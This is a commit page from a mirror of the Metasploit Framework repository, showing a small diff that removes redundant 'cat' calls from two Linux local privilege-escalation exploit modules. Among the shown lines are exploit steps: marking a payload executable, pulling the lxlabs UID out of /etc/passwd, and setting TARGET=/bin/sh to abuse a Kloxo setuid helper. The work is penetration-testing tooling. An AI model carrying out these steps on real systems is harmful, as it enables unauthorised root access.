1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Land #7372, useless use of cat fix

Obligatory: modules/exploits/linux/local/kloxo_lxsuexec.rb.
This commit is contained in:
William Vu 2016-09-28 16:37:11 -05:00
commit 988471b860
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 6 additions and 4 deletions

View File

@ -10,6 +10,8 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
@ -93,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local
# Profit
print_status("Exploiting...")
cmd_exec("chmod +x #{payload_path}")
cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`")
cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")
cmd_exec("export MUID=$LXLABS")
cmd_exec("export GID=$LXLABS")
cmd_exec("export TARGET=/bin/sh")

View File

@ -62,12 +62,12 @@ class MetasploitModule < Msf::Exploit::Local
def check
def iptables_loaded?()
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
# user@ubuntu:~$ grep ip_tables /proc/modules
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
vprint_status('Checking if ip_tables is loaded in kernel')
if target.name == "Ubuntu"
iptables = cmd_exec('cat /proc/modules | grep ip_tables')
iptables = read_file('/proc/modules')
if iptables.include?('ip_tables')
vprint_good('ip_tables.ko is loaded')
else
@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Local
end
return iptables.include?('ip_tables')
elsif target.name == "Fedora"
iptables = cmd_exec('cat /proc/modules | grep iptable_raw')
iptables = read_file('/proc/modules')
if iptables.include?('iptable_raw')
vprint_good('iptable_raw is loaded')
else